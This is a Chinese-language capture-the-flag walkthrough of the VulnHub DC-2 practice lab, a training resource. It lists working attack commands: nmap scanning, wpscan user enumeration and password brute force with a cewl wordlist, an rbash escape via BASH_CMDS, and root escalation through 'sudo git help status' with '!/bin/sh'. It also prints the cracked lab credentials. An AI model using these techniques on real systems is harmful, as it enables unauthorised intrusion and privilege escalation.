一、环境搭建:
与DC-1非常相似,DC-2是另一个专门建立的易受攻击的实验室,目的是获得渗透测试领域的经验。与最初的DC-1一样,它是为初学者设计的。必须具备Linux技能并熟悉Linux命令行,还必须具有使用基本渗透测试工具的经验。就像DC-1一样,有五面旗帜,包括最后一面旗帜。和DC-1一样,旗子对初学者来说很重要,但对有经验的人来说就不那么重要了。简而言之,唯一真正有意义的旗帜,是最后一面旗帜。对于初学者来说,谷歌是你的朋友。好吧,除了所有的隐私问题等等。我没有探索实现root的所有方法,因为我放弃了我一直在研究的上一个版本,并从基本操作系统安装中完全重新开始。
和DC-1一样,有五个flag
2、下载靶场环境
靶场下载地址:
https://www.vulnhub.com/entry/dc-2,311/
二、首先要把两个虚拟机启动kali为攻击机 DC-2为靶场机(如果两个虚拟机有一个没有打开此实验将无法进行)
1.目标:
首先要知道Linux查询IP地址的命令是什么(ifconfig)然后进行访问
收集信息:靶场ip nmap -sP 192.168.146.0/24
探寻端口及服务
nmap -A -p- -v 192.168.146.131
发现了80、7744端口,都开放了web服务(80端口apache/2.4.10,7744端口openssh6.7p1
然后访问web站点
http://192.168.146.131(输入自己的ip)
发现访问不了,且发现我们输入的ip地址自动转化为了域名,我们想到dc-2这个域名解析失败,我们需要更改hosts文件,添加一个ip域名指向。
修改hosts文件,添加靶机IP到域名dc-2的指向
进行强制进入 vim /etc/hosts
添加完成 再次访问web站点
在此网页发现flag1
flag1的大概意思是暴力破解,账号密码
进行一个目录扫描
dirb http://dc-2/
发现疑似后台地址
右键打开链接后进入到登入页面
发现多个遍历,但似乎没什么有用的东西
用户名枚举
前面我们提到这是一个wordpress的站,我们采用专门针对wordpress的工具wpscan来进行扫描
WPScan是Kali Linux默认自带的一款漏洞扫描工具,它采用Ruby编写,能够扫描WordPress网站中的多种安全漏洞,其中包括WordPress本身的漏洞、插件漏洞和主题漏洞。最新版本WPScan的数据库中包含超过18000种插件漏洞和2600种主题漏洞,并且支持最新版本的WordPress。值得注意的是,它不仅能够扫描类似robots.txt这样的敏感文件,而且还能够检测当前已启用的插件和其他功能该扫描器可以实现获取站点用户名,获取安装的所有插件、主题,以及存在漏洞的插件、主题,并提供漏洞信息。同时还可以实现对未加防护的Wordpress站点暴力破解用户名密码。
Wpscan一些常用语句:
wpscan --url http://dc-2
wpscan --url http://dc-2 --enumerate t 扫描主题
wpscan --url http://dc-2 --enumerate p 扫描插件
wpscan --url http://dc-2 --enumerate u 枚举用户
扫描wordpress版本
wpscan --url http://dc-2
发现wordpress的版本4.7.10
切换到登入页面进行尝试登入,随机输入用户名密码,提示用户名密码不存在,似乎可以进行用户枚举
首先来个用户枚举,再尝试利用枚举到的用户爆破密码
wpscan --url http://dc-2 --enumerate u 枚举用户
枚举出了三个用户名
暴力破解出账号密码
cewl http://dc-2/ -w dict.txt 或者 cewl http://dc-2/ > 1.txt
使用wpscan进行暴力破解
wpscan --url http://dc-2 --passwords dc2.txt
爆破出来两个账号和密码
用jerry/asiipiscing登入站点
然后再用tom/parturient登入此站点
在登入jerry时发现了flag2
点进去之后看到flag2提示信息,简单说就是如果wordpress行不通的话就会一个点,我们之前发现有ssh,我们看看ssh
在tom的家目录发现flag3
jerry/adipiscing
tom/parturient
登录ssh
ssh tom@192.168.66.141 -p 7744
在tom的目录下发现了flag3
cat用不了
我这里把查看命令都尝试了一遍 less和vi可以来查看,
提示内容如下
接下来,尝试rbash绕过详情参考 https://xz.aliyun.com/t/7642
查看可以使用的命令
echo $PATH
cd进不去目录 使用ls直接查看目录信息
使用echo来绕过rbash
BASH_CMDS[a]=/bin/sh;a
export PATH=$PATH:/bin/
export PATH=$PATH:/usr/bin
echo /*
在jerry的家目录发现flag4
查看flag4.txt文件 信息如下:
大致意思就是还没有结束。猜想需要提权才能获取到最终的flag,并且flag4 提示我们可以使用git,我们可以通过git来提权
使用tom用户无权限运行sudo 我们切换到jerry用户
我们可以看到无需root权限,jerry 可以使用 git
sudo -l
su - jerry
提权
使用的root权限命令 find / -user root -perm -4000 -print 2>/dev/null
jerry用户不可以直接sudo su
使用git命令进行提取 sudo git help status
然后进去这个页面直接在里面输入!/bin/sh即可
提权成功,发现root
发现final-flag.txt
cd /root
cat final-flag.txt
此目标完成,感谢大家浏览